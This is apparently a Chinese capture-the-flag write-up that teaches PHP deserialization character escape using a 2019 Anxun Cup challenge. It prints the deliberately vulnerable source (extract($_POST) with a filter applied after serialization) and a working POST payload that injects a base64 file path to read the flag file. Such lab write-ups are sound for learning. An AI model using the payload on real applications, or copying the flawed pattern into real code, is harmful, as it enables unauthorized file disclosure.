前言
今天突然想起来代码审计好像很久没搞了,在网上找到了个2019的安洵杯的题目。题目的考点是反序列化字符逃逸,通过字符的逃逸我们才能拿到对应的flag值。
反序列化原理
我们要了解反序列化字符逃逸的原理,首先就要先了解反序列化的原理,我们先举个简单的例子帮助理解和分析。
<?php
$img["one"] = "flag";
$img["two"] = "test";
$a = serialize($img);
var_dump($a);
$b = unserialize($a);
var_dump($b);
?>
首先我们先定义了一个img二维数组,序列化出来的数据是"a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}"
,a表示的是array,是指两个数组对象,2表示有两个键值;s表示string即字符串,s对应的数值分别是3、4、3、4
指的是one,flag,two,test对应的字符串长度。为了能更加清晰地表示各种字母在反序列化数组中对应的含义,这里整理出了一个表格(加粗表示出现频率较高):
字母 | 含义 |
---|---|
a | array数组 |
b | bool判断类型 |
d | double浮点数 |
i | integer整型 |
o | common object 一般的对象 |
r | reference引用类型 |
s | string字符串类型 |
C | custom object |
O | class |
N | null |
R | pointer reference |
U | unicode string |
题目源码
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
其实我们忽略掉函数和$_SESSION
部分的逻辑,只关注网络请求部分可简化为
$function = @$_GET['f'];
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
我们传入highlight_file
参数时,程序将跳转到index.php页面;如果传入phpinfo
参数时,将执行phpinfo函数输出对应的php环境变量值;如果传入show_image
参数时,将反序列化$serialize_info
对应的变量值,然后通过base64解码并读取$userinfo
的img对应的值。
解题思路
明确代码的逻辑后,我们可以先传入phpinfo参数,查看到auto_append_file
参数内存在一个文件名值d0g3_f1ag.php
,很明显,我们要从这个文件中读取到flag值。
根据最后那行代码我们知道,参数为show_image
时是可以读取文件内容的,只要$userinfo[‘img’]是相应的flag.php的base64加密,然后通过解密就能获取到对应的flag值了。
我们继续观察这部分的代码,首先它会销毁我们的SESSION值,然后重新赋予一个新的SESSION值,最后调用了extract($_POST)。extract() 函数从数组中将变量导入到当前的符号表。
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
意思就是说如果我们调用了这个extract() 函数的话,那么我们传入的POST变量就会覆盖掉我们原先定义的_SESSION
变量值。
漏洞利用
因为序列化的字符串是严格的,对应的格式不能错,比如s:4:“name”,那s:4就必须有一个字符串长度是4的否则就往后要。并且unserialize会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号后面的就都被扔掉。举个例子
<?php
#正规序列化的字符串
$a = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";}";
var_dump(unserialize($a));
#带有多余的字符的字符串
$a_laji = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";};s:3:\"真的垃圾img\";lajilaji";
var_dump(unserialize($a_laji));
搞懂了这个逻辑之后,那我们就可以构造我们利用的payload字符串了。这是我们POST要传入的数据_SESSION[flagflag]=";s:2:"h3";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
,URL地址的内容为http://054fdcd6-51eb-4de8-b2cb-a6defbf4534d.node4.buuoj.cn:81/index.php?f=show_image
,查看源代码,发现flag值存在于/d0g3_fllllllag
这个目录下
<?php
$flag = 'flag in /d0g3_fllllllag';
?>
我们对d0g3_fllllllag
进行base64编码得到L2QwZzNfZmxsbGxsbGFn
,长度刚好是20,替换掉POST数据中原来的字符串,得到flag值